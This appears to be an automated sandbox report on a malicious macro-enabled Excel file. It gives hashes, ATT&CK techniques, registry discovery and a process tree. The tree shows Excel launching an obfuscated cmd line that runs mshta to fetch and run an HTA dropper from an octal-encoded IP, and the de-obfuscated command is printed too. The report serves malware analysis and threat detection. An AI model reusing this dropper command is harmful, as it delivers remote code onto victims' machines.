053bb9b9096198d542ba99d4aa0148e9af3797c17d2b874f406bf9d35749d809

Analysis

max time kernel
4265059s
max time network
126s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
18-01-2022 01:00

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General

Target

053bb9b9096198d542ba99d4aa0148e9af3797c17d2b874f406bf9d35749d809.xlsm
Size

110KB
MD5

fdba23f96e2a3337048fbd1f116ac128
SHA1

b9599026ed63f455d2cda18ec8dff202170be381
SHA256

053bb9b9096198d542ba99d4aa0148e9af3797c17d2b874f406bf9d35749d809
SHA512

82a691f0c5abaa2a9b56c800b9d405c155e6f5c6cfa80f1f39028ff8ce7e8239ee39cef06686b855c3173c8b4d034a55901280bfb0489e2bfdbebef153a89aa6

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0056.0151.0121.0114/c.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2036	1492	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

52 1716 mshta.exe

flow	pid	process
52	1716	mshta.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXEMusNotification.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MusNotification.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	MusNotification.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1492 EXCEL.EXE
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

MusNotification.exe

description pid process

Token: SeShutdownPrivilege 3620 MusNotification.exe
Token: SeCreatePagefilePrivilege 3620 MusNotification.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1492 EXCEL.EXE
1492 EXCEL.EXE

description	pid	process
Token: SeShutdownPrivilege	3620	MusNotification.exe
Token: SeCreatePagefilePrivilege	3620	MusNotification.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
1492	EXCEL.EXE
1492	EXCEL.EXE
1492	EXCEL.EXE
1492	EXCEL.EXE
1492	EXCEL.EXE
1492	EXCEL.EXE
1492	EXCEL.EXE
1492	EXCEL.EXE
1492	EXCEL.EXE
1492	EXCEL.EXE
1492	EXCEL.EXE
1492	EXCEL.EXE
1492	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 1492 wrote to memory of 2036	1492	EXCEL.EXE	cmd.exe
PID 1492 wrote to memory of 2036	1492	EXCEL.EXE	cmd.exe
PID 2036 wrote to memory of 1716	2036	cmd.exe	mshta.exe
PID 2036 wrote to memory of 1716	2036	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\053bb9b9096198d542ba99d4aa0148e9af3797c17d2b874f406bf9d35749d809.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1492

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0056.0151.0121.0114/c.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2036

C:\Windows\system32\mshta.exe
mshta http://0056.0151.0121.0114/c.html
3⤵
- Blocklisted process makes network request
PID:1716

C:\Windows\system32\MusNotification.exe
C:\Windows\system32\MusNotification.exe
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:3620

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1492-130-0x00007FF7EB070000-0x00007FF7EB080000-memory.dmp

Filesize
64KB

Download
memory/1492-131-0x00007FF7EB070000-0x00007FF7EB080000-memory.dmp

Filesize
64KB

Download
memory/1492-132-0x00007FF7EB070000-0x00007FF7EB080000-memory.dmp

Filesize
64KB

Download
memory/1492-133-0x00007FF7EB070000-0x00007FF7EB080000-memory.dmp

Filesize
64KB

Download
memory/1492-134-0x00007FF7EB070000-0x00007FF7EB080000-memory.dmp

Filesize
64KB

Download
memory/1492-136-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-135-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-137-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-138-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-139-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-140-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-141-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-142-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-143-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-144-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-145-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-150-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-149-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-151-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-152-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-153-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-155-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-154-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-157-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-156-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-158-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-159-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-160-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-161-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-162-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-163-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-164-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-166-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-165-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-167-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-168-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-169-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-170-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-171-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-173-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-172-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-174-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-175-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-176-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp

Filesize
8KB

Download
memory/1492-177-0x00007FF7EB070000-0x00007FF7EB080000-memory.dmp

Filesize
64KB

Download
memory/1492-179-0x00007FF7EB070000-0x00007FF7EB080000-memory.dmp

Filesize
64KB

Download
memory/1492-178-0x00007FF7EB070000-0x00007FF7EB080000-memory.dmp

Filesize
64KB

Download
memory/1492-180-0x00007FF7EB070000-0x00007FF7EB080000-memory.dmp

Filesize
64KB

Download
memory/1716-147-0x0000000000000000-mapping.dmp

Download
memory/1716-148-0x000002184BDC8000-0x000002184BDD0000-memory.dmp

Filesize
32KB

Download
memory/2036-146-0x0000000000000000-mapping.dmp

Download